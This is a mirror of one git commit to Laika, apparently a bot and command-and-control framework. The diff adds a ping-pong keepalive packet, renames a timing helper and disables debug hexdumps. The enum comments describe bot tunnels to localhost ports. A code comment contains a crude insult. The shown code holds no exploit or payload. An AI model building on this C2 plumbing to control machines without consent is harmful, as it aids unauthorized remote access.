mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-05 15:50:06 +00:00
Added LAIKAPKT_PINGPONG
- shell now has it's own task service, it's polled in shellC_poll() - default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h
This commit is contained in:
@@ -53,6 +53,10 @@ enum {
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
* uint8_t cncEndian;
|
||||
*/
|
||||
LAIKAPKT_PINGPONG,
|
||||
/* layout of LAIKAPKT_PINGPONG:
|
||||
* NULL (empty packet)
|
||||
*/
|
||||
LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */
|
||||
/* layout of LAIKAPKT_TUNNEL_OPEN:
|
||||
* uint16_t port;
|
||||
|
@@ -30,4 +30,6 @@ void laikaT_pollTasks(struct sLaika_taskService *service);
|
||||
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
|
||||
int laikaT_timeTillTask(struct sLaika_taskService *service);
|
||||
|
||||
long laikaT_getTime(void);
|
||||
|
||||
#endif
|
@@ -6,6 +6,7 @@ const char* laikaD_getPacketName(LAIKAPKT_ID id) {
|
||||
"LAIKAPKT_VARPKT",
|
||||
"LAIKAPKT_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_HANDSHAKE_RES",
|
||||
"LAIKAPKT_PINGPONG",
|
||||
"LAIKAPKT_TUNNEL_OPEN",
|
||||
"LAIKAPKT_TUNNEL_CLOSE",
|
||||
"LAIKAPKT_TUNNEL_CONNECTION_ADD",
|
||||
|
@@ -300,7 +300,7 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
/* if the socket closed or an error occurred, return the error result */
|
||||
errCode = RAWSOCK_ERROR;
|
||||
} else if (rcvd > 0) {
|
||||
#ifdef DEBUG
|
||||
#if 0
|
||||
/* for debugging */
|
||||
printf("---recv'd %d bytes---\n", rcvd);
|
||||
for (i = 1; i <= rcvd; i++) {
|
||||
@@ -354,7 +354,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
|
||||
} while((sentBytes += sent) < sz);
|
||||
|
||||
_rawWriteExit:
|
||||
#ifdef DEBUG
|
||||
#if 0
|
||||
/* for debugging */
|
||||
printf("---sent %d bytes---\n", sent);
|
||||
for (i = 1; i <= sentBytes; i++) {
|
||||
|
@@ -3,7 +3,7 @@
|
||||
|
||||
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms
|
||||
also side note: microsoft? more like micropenis */
|
||||
long getTime() {
|
||||
long laikaT_getTime() {
|
||||
struct timespec ts;
|
||||
timespec_get(&ts, TIME_UTC);
|
||||
return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert time (seconds & nanoseconds) to milliseconds */
|
||||
@@ -27,7 +27,7 @@ void laikaT_cleanTaskService(struct sLaika_taskService *service) {
|
||||
void scheduleTask(struct sLaika_taskService *service, struct sLaika_task *task) {
|
||||
struct sLaika_task *curr = service->headTask, *last = NULL;
|
||||
|
||||
task->scheduled = getTime() + task->delta;
|
||||
task->scheduled = laikaT_getTime() + task->delta;
|
||||
|
||||
/* search list for task for which we're scheduled before */
|
||||
while (curr != NULL && curr->scheduled < task->scheduled) {
|
||||
@@ -84,7 +84,7 @@ void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task
|
||||
|
||||
void laikaT_pollTasks(struct sLaika_taskService *service) {
|
||||
struct sLaika_task *last, *curr = service->headTask;
|
||||
clock_t currTick = getTime();
|
||||
clock_t currTick = laikaT_getTime();
|
||||
|
||||
/* run each task, list is already sorted from closest scheduled task to furthest */
|
||||
while (curr != NULL && curr->scheduled <= currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */
|
||||
@@ -104,7 +104,7 @@ void laikaT_pollTasks(struct sLaika_taskService *service) {
|
||||
/* will return the delta time in ms till the next event. -1 for no tasks scheduled */
|
||||
int laikaT_timeTillTask(struct sLaika_taskService *service) {
|
||||
if (service->headTask) {
|
||||
int pause = service->headTask->scheduled - getTime();
|
||||
int pause = service->headTask->scheduled - laikaT_getTime();
|
||||
return (pause > 0) ? pause : 0;
|
||||
} else
|
||||
return -1; /* no tasks scheduled */
|
||||
|
Reference in New Issue
Block a user